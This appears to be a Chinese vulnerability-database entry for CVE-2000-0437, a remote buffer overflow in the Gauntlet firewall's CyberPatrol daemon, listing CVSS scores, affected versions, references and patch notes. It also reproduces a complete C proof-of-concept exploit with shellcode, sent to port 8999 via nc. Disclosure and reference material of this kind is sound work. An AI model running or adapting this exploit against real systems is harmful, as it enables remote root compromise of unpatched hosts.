CVE-2000-0437
CVSS10.0
发布时间 :2000-05-18 00:00:00
修订时间 :2008-09-10 15:04:41
NMCOES    

[原文]Buffer overflow in the CyberPatrol daemon "cyberdaemon" used in gauntlet and WebShield allows remote attackers to cause a denial of service or execute arbitrary commands.


[CNNVD]Gauntlet防火墙远程缓冲区溢出漏洞(CNNVD-200005-073)

        gauntlet和WebShield中CyberPatrol守护程序"cyberdaemon"存在缓冲区溢出漏洞。远程攻击者利用此漏洞导致拒绝服务或执行任意文件。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:network_associates:gauntlet_firewall:4.1
cpe:/a:network_associates:webshield:4.0::solaris
cpe:/h:network_associates:webshield_e-ppliance:100.0
cpe:/a:network_associates:gauntlet_firewall:5.0
cpe:/a:network_associates:gauntlet_firewall:5.5
cpe:/a:network_associates:gauntlet_firewall:4.2
cpe:/h:network_associates:webshield_e-ppliance:300.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0437
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0437
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-073
(官方数据源) CNNVD

- 其它链接及资源

http://www.tis.com/support/cyberadvisory.html
(UNKNOWN)  CONFIRM  http://www.tis.com/support/cyberadvisory.html
http://www.pgp.com/jump/gauntlet_advisory.asp
(UNKNOWN)  CONFIRM  http://www.pgp.com/jump/gauntlet_advisory.asp
http://www.securityfocus.com/bid/1234
(UNKNOWN)  BID  1234
http://www.osvdb.org/322
(UNKNOWN)  OSVDB  322
http://archives.neohapsis.com/archives/bugtraq/2000-05/0249.html
(UNKNOWN)  BUGTRAQ  20000522 Gauntlet CyberPatrol Buffer Overflow

- 漏洞信息

Gauntlet防火墙远程缓冲区溢出漏洞
危急 缓冲区溢出
2000-05-18 00:00:00 2005-10-12 00:00:00
远程  
        gauntlet和WebShield中CyberPatrol守护程序"cyberdaemon"存在缓冲区溢出漏洞。远程攻击者利用此漏洞导致拒绝服务或执行任意文件。

- 公告与补丁

        Patches from NAI are available.
        Network Associates WebShield E-ppliance 100.0
        
        Network Associates WebShield E-ppliance 300.0
        
        Network Associates WebShield for Solaris 4.0
        
        Network Associates Gauntlet Firewall 4.1
        
        Network Associates Gauntlet Firewall 4.2
        
        Network Associates Gauntlet Firewall 5.0
        
        Network Associates Gauntlet Firewall 5.5
        

- 漏洞信息 (19949)

Gauntlet Firewall 4.1/4.2/5.0,WebShield E-ppliance 100.0/300.0,IRIX 6.5.x Remote Buffer Overflow (EDBID:19949)
irix remote
2000-05-18 Verified
0 _Gramble_
N/A [点击下载]
source: http://www.securityfocus.com/bid/1234/info

A buffer overflow exists in the version of Mattel's Cyber Patrol software integrated in to Network Associates Gauntlet firewall, versions 4.1, 4.2, 5.0 and 5.5. Due to the manner in which Cyber Patrol was integrated, a vulnerability was introduced which could allow a remote attacker to gain root access on the firewall, or execute arbitrary commands on the firewall.

By default, Cyber Patrol is installed on Gauntlet installations, and runs for 30 days. After that period, it is disabled. During this 30 day period, the firewall is susceptible to attack,. Due to the filtering software being externally accessible, users not on the internal network may also be able to exploit the vulnerability.

Some versions of SGI IRIX shipped with the Gauntlet Firewall package, and in the past it was a supported SGI product. While it is no longer being supported, SGI IRIX versions 6.5.2, 6.5.3, 6.5.4 and 6.5.5 may be prone to this issue. 

/*
*                  Animal.c
*
*
* Remote Gauntlet BSDI proof of concept exploit.
* Garrison technologies may have found it, but I am the
* one who released it.  ;) I do not have a Sparc or I would
* write up the Solaris one too.  If you have one, please
* make the changes needed and post it.  Thanks.
*
* Script kiddies can go away, this will only execute a file
* named /bin/zz on the remote firewall.  To test this code,
* make a file named /bin/zz and chmod it to 700.
* I suggest for the test you just have the zz file make a note
* in syslog or whatever makes you happy.
*
* This code is intened for proof of concept only.
*
*
* _Gramble_
*                                             Hey BuBBles
*
*To use:
*      # Animal | nc <address> 8999
*/


#include <stdio.h>


char data[364];

main() {
        int i;
	char shelloutput[80];


/* just borrowed this execute code from another exploit */

	unsigned char shell[] =
        "\x90"
	"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"
	"\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"
	"\xff\xe8\xdc\xff\xff\xff/bin/zz\x00";


        for(i=0;i<264;i++)
                data[i]=0x90;
		data[i]=0x30;i++;
		data[i]=0x9b;i++;
		data[i]=0xbf;i++;
		data[i]=0xef;i++;
		data[i] = 0x00;
	for (i=0; i<strlen(shell); i++)
		shelloutput[i] = shell[i];
		shelloutput[i] = 0x00;

	printf("10003.http://%s%s", data, shelloutput);


}
		

- 漏洞信息

322
NAI Gauntlet / WebShield CyberPatrol Content Monitoring System Remote Overflow
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

Gauntlet Firewall contains a flaw that may allow a remote attacker to execute arbitrary code. The issue is due to the CyberPatrol content monitoring system component of the firewall not properly checking user input. If an attacker supplies a specially crafted request, they may be able to overflow a buffer and crash the system or execute arbitrary code with root privileges.

- 时间线

2000-05-22 Unknow
2000-05-24 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, NAI/PGP has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Gauntlet Firewall Remote Buffer Overflow Vulnerability
Boundary Condition Error 1234
Yes No
2000-05-18 12:00:00 2009-07-11 01:56:00
This vulnerability was discovered by Jim Stickley, with Garrison Technologies, and was reported to SecurityFocus.com on May 19, 2000.

- 受影响的程序版本

SGI IRIX 6.5.5
SGI IRIX 6.5.4
SGI IRIX 6.5.3
SGI IRIX 6.5.2
Network Associates WebShield for Solaris 4.0
Network Associates WebShield E-ppliance 300.0
Network Associates WebShield E-ppliance 100.0
Network Associates Gauntlet Firewall 5.5
Network Associates Gauntlet Firewall 5.0
Network Associates Gauntlet Firewall 4.2
Network Associates Gauntlet Firewall 4.1

- 漏洞讨论

A buffer overflow exists in the version of Mattel's Cyber Patrol software integrated in to Network Associates Gauntlet firewall, versions 4.1, 4.2, 5.0 and 5.5. Due to the manner in which Cyber Patrol was integrated, a vulnerability was introduced which could allow a remote attacker to gain root access on the firewall, or execute arbitrary commands on the firewall.

By default, Cyber Patrol is installed on Gauntlet installations, and runs for 30 days. After that period, it is disabled. During this 30 day period, the firewall is susceptible to attack,. Due to the filtering software being externally accessible, users not on the internal network may also be able to exploit the vulnerability.

Some versions of SGI IRIX shipped with the Gauntlet Firewall package, and in the past it was a supported SGI product. While it is no longer being supported, SGI IRIX versions 6.5.2, 6.5.3, 6.5.4 and 6.5.5 may be prone to this issue.

- 漏洞利用

This exploit is written to run a test file called /bin/zz. Just throw a file called zz in /bin on the gauntlet firewall and chmod it to 700. Inside the zz file you should have it do something where it will leave you a log, as in the following example:

---
#!/bin/sh
echo "IT RAN" &gt; /tmp/TEST
---

- 解决方案

Patches from NAI are available.


Network Associates WebShield E-ppliance 100.0

Network Associates WebShield E-ppliance 300.0

Network Associates WebShield for Solaris 4.0

Network Associates Gauntlet Firewall 4.1

Network Associates Gauntlet Firewall 4.2

Network Associates Gauntlet Firewall 5.0

Network Associates Gauntlet Firewall 5.5

- 相关参考

 

 

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